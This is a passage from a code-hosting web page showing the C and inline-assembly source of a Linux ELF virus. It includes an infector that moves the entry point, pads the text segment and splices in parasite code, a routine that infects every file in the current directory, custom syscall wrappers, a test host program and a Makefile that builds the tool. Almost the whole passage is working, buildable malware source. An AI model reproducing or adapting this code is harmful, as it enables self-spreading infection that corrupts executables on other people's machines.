📄 763.html
字号:
> phdr[txt_index+1].p_vaddr) { <br />
V_DEBUG_WRITE(1, &luck, sizeof(luck)); <br />
goto err; <br />
} <br />
<br />
break; <br />
} <br />
txt_index++; <br />
} <br />
<br />
/* Modify the entry point of the ELF */ <br />
org_entry = ehdr->e_entry; <br />
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz; <br />
<br />
new_code_pos = <br />
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz; <br />
<br />
/* Increase the p_filesz and p_memsz of text segment <br />
* for new code */ <br />
phdr[txt_index].p_filesz += align_code_size; <br />
phdr[txt_index].p_memsz += align_code_size; <br />
<br />
for (i = 0; i < ehdr->e_phnum; i++) <br />
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) <br />
phdr[i].p_offset += align_code_size; <br />
<br />
tmp_flag = 0; <br />
for (i = 0; i < ehdr->e_shnum; i++) { <br />
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) { <br />
shdr[i].sh_offset += align_code_size; <br />
if (!tmp_flag && i) { /* associating the new_code to the last <br />
* section in the text segment */ <br />
shdr[i-1].sh_size += align_code_size; <br />
tmp_flag = 1; <br />
} <br />
} <br />
} <br />
<br />
/* Increase p_shoff in the ELF header */ <br />
ehdr->e_shoff += align_code_size; <br />
<br />
/* Make a new file */ <br />
tmp_fd = g_open(tmpfile, O_WRONLY|O_CREAT|O_TRUNC, stat.st_mode); <br />
if (tmp_fd == -1) { <br />
goto err; <br />
} <br />
<br />
size = new_code_pos - (void *) ehdr; <br />
if (g_write(tmp_fd, ehdr, size) != size) <br />
goto err; <br />
<br />
__memcpy(tmp_v_code, v_code, v_code_size); <br />
__memcpy(tmp_v_code + v_retaddr_addr_offset, &org_entry, sizeof(org_entry)); <br />
if (g_write(tmp_fd, tmp_v_code, align_code_size) != align_code_size) { <br />
goto err; <br />
} <br />
<br />
if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size) <br />
!= stat.st_size - size) { <br />
goto err; <br />
} <br />
<br />
g_close(tmp_fd); <br />
g_munmap(ehdr, stat.st_size); <br />
g_close(fd); <br />
<br />
if (g_rename(tmpfile, file) == -1) { <br />
goto err; <br />
} <br />
<br />
return 0; <br />
err: <br />
if (tmp_fd != -1) <br />
g_close(tmp_fd); <br />
if (ehdr) <br />
g_munmap(ehdr, stat.st_size); <br />
if (fd != -1) <br />
g_close(fd); <br />
return -1; <br />
} <br />
<br />
static inline void virus_code(void) <br />
{ <br />
char dirdata[4096]; <br />
struct dirent *dirp; <br />
int curfd; <br />
int nbyte, c; <br />
unsigned long para_code_start_addr; <br />
<br />
__asm__ volatile ( <br />
"push %%eax\n\t" <br />
"push %%ecx\n\t" <br />
"push %%edx\n\t" <br />
::); <br />
<br />
char curdir[2] = {'.', 0}; <br />
char newline = '\n'; <br />
<br />
curdir[0] = '.'; <br />
curdir[1] = 0; <br />
newline = '\n'; <br />
<br />
if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0) <br />
goto out; <br />
<br />
/* Get start address of virus code */ <br />
__asm__ volatile ( <br />
"jmp get_start_addr\n" <br />
"infect_start:\n\t" <br />
"popl %0\n\t" <br />
:"=m" (para_code_start_addr) <br />
:); <br />
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1; <br />
<br />
/* Infecting */ <br />
while ((nbyte = g_getdents(curfd, (struct dirent *) <br />
&dirdata, sizeof(dirdata))) > 0) { <br />
c = 0; <br />
dirp = (struct dirent *) &dirdata; <br />
do { <br />
V_DEBUG_WRITE(1, dirp->d_name, dirp->d_reclen - (unsigned long) <br />
&(((struct dirent *) 0)->d_name)); <br />
V_DEBUG_WRITE(1, &newline, sizeof(newline)); <br />
<br />
infect_virus(dirp->d_name, <br />
(void *) para_code_start_addr, <br />
PARACODE_LENGTH, <br />
PARACODE_RETADDR_ADDR_OFFSET); <br />
<br />
c += dirp->d_reclen; <br />
if (c >= nbyte) <br />
break; <br />
dirp = (struct dirent *)((char *)dirp + dirp->d_reclen); <br />
} while (1); <br />
} <br />
g_close(curfd); <br />
out: <br />
__asm__ volatile ( <br />
"popl %%edx\n\t" <br />
"popl %%ecx\n\t" <br />
"popl %%eax\n\t" <br />
"addl $0x102c, %%esp\n\t" <br />
"popl %%ebx\n\t" <br />
"popl %%esi\n\t" <br />
"popl %%edi\n\t" <br />
"popl %%ebp\n\t" <br />
"jmp return\n" <br />
"get_start_addr:\n\t" <br />
"call infect_start\n" <br />
"return:\n\t" <br />
"push $0xAABBCCDD\n\t" /* push ret_addr */ <br />
"ret\n" <br />
::); <br />
} <br />
<br />
void parasite_code(void) <br />
{ <br />
virus_code(); <br />
} <br />
void parasite_code_end(void) {parasite_code();} <br />
------------------------------ gvirus.c ------------------------------ <br />
<br />
------------------------------ gunistd.h ------------------------------ <br />
#ifndef _G2_UNISTD_ <br />
#define _G2_UNISTD_ <br />
<br />
#define g__syscall_return(type, res) \ <br />
do { \ <br />
if ((unsigned long)(res) >= (unsigned long)(-125)) { \ <br />
res = -1; \ <br />
} \ <br />
return (type) (res); \ <br />
} while (0) <br />
<br />
#define g_syscall0(type,name) \ <br />
type g_##name(void) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("int $0x80" \ <br />
: "=a" (__res) \ <br />
: "0" (__NR_##name)); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#define g_syscall1(type,name,type1,arg1) \ <br />
type g_##name(type1 arg1) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("int $0x80" \ <br />
: "=a" (__res) \ <br />
: "0" (__NR_##name),"b" ((long)(arg1))); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#define g_syscall2(type,name,type1,arg1,type2,arg2) \ <br />
type g_##name(type1 arg1,type2 arg2) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("int $0x80" \ <br />
: "=a" (__res) \ <br />
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \ <br />
type g_##name(type1 arg1,type2 arg2,type3 arg3) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("int $0x80" \ <br />
: "=a" (__res) \ <br />
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ <br />
"d" ((long)(arg3))); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#define g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \ <br />
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("int $0x80" \ <br />
: "=a" (__res) \ <br />
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ <br />
"d" ((long)(arg3)),"S" ((long)(arg4))); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#define g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \ <br />
type5,arg5) \ <br />
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("int $0x80" \ <br />
: "=a" (__res) \ <br />
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ <br />
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#define g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \ <br />
type5,arg5,type6,arg6) \ <br />
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \ <br />
{ \ <br />
long __res; \ <br />
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \ <br />
: "=a" (__res) \ <br />
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \ <br />
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \ <br />
"0" ((long)(arg6))); \ <br />
g__syscall_return(type,__res); \ <br />
} <br />
<br />
#endif /* _G2_UNISTD_ */ <br />
------------------------------ gunistd.h ------------------------------ <br />
<br />
------------------------------ gsyscall.h ------------------------------ <br />
<br />
#ifndef _G2_SYSCALL_ <br />
#define _G2_SYSCALL_ <br />
<br />
#include <sys/types.h> <br />
#include <sys/mman.h> <br />
<br />
#include <linux/unistd.h> <br />
#include <linux/fcntl.h> <br />
<br />
#include "gunistd.h" <br />
<br />
#define NULL 0 <br />
<br />
struct dirent { <br />
long d_ino; <br />
unsigned long d_off; <br />
unsigned short d_reclen; <br />
char d_name[256]; /* We must not include limits.h! */ <br />
}; <br />
<br />
struct stat { <br />
unsigned long st_dev; <br />
unsigned long st_ino; <br />
unsigned short st_mode; <br />
unsigned short st_nlink; <br />
unsigned short st_uid; <br />
unsigned short st_gid; <br />
unsigned long st_rdev; <br />
unsigned long st_size; <br />
unsigned long st_blksize; <br />
unsigned long st_blocks; <br />
unsigned long st_atime; <br />
unsigned long st_atime_nsec; <br />
unsigned long st_mtime; <br />
unsigned long st_mtime_nsec; <br />
unsigned long st_ctime; <br />
unsigned long st_ctime_nsec; <br />
unsigned long __unused4; <br />
unsigned long __unused5; <br />
}; <br />
<br />
static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count); <br />
static inline g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); <br />
static inline g_syscall3(int, open, const char *, file, int, flag, int, mode); <br />
static inline g_syscall1(int, close, int, fd); <br />
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot, <br />
int, flags, int, fd, off_t, offset); <br />
static inline g_syscall2(int, munmap, void *, addr, size_t, len); <br />
static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath); <br />
static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf); <br />
<br />
static inline void * __memcpy(void * to, const void * from, size_t n) <br />
{ <br />
int d0, d1, d2; <br />
__asm__ __volatile__( <br />
"rep ; movsl\n\t" <br />
"testb $2,%b4\n\t" <br />
"je 1f\n\t" <br />
"movsw\n" <br />
"1:\ttestb $1,%b4\n\t" <br />
"je 2f\n\t" <br />
"movsb\n" <br />
"2:" <br />
: "=&c" (d0), "=&D" (d1), "=&S" (d2) <br />
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from) <br />
: "memory"); <br />
return (to); <br />
} <br />
<br />
#endif /* _G2_SYSCALL_ */ <br />
------------------------------ gsyscall.h ------------------------------ <br />
<br />
------------------------------ foo.c ------------------------------ <br />
#include <stdio.h> <br />
<br />
int main() <br />
{ <br />
puts("real elf point"); <br />
return 0; <br />
} <br />
------------------------------ foo.c ------------------------------ <br />
<br />
------------------------------ Makefile ------------------------------ <br />
all: foo gei <br />
gei: g-elf-infector.c gvirus.o <br />
gcc -O2 $< gvirus.o -o gei -Wall -DNDEBUG <br />
foo: foo.c <br />
gcc $< -o foo <br />
gvirus.o: gvirus.c <br />
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall -DNDEBUG <br />
clean: <br />
rm *.o -rf <br />
rm foo -rf <br />
rm gei -rf <br />
------------------------------ Makefile ------------------------------
</td>
</tr>
</table>
<div class="footer">
Copyright © 1998-2003 XFOCUS Team. All Rights Reserved
</div>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -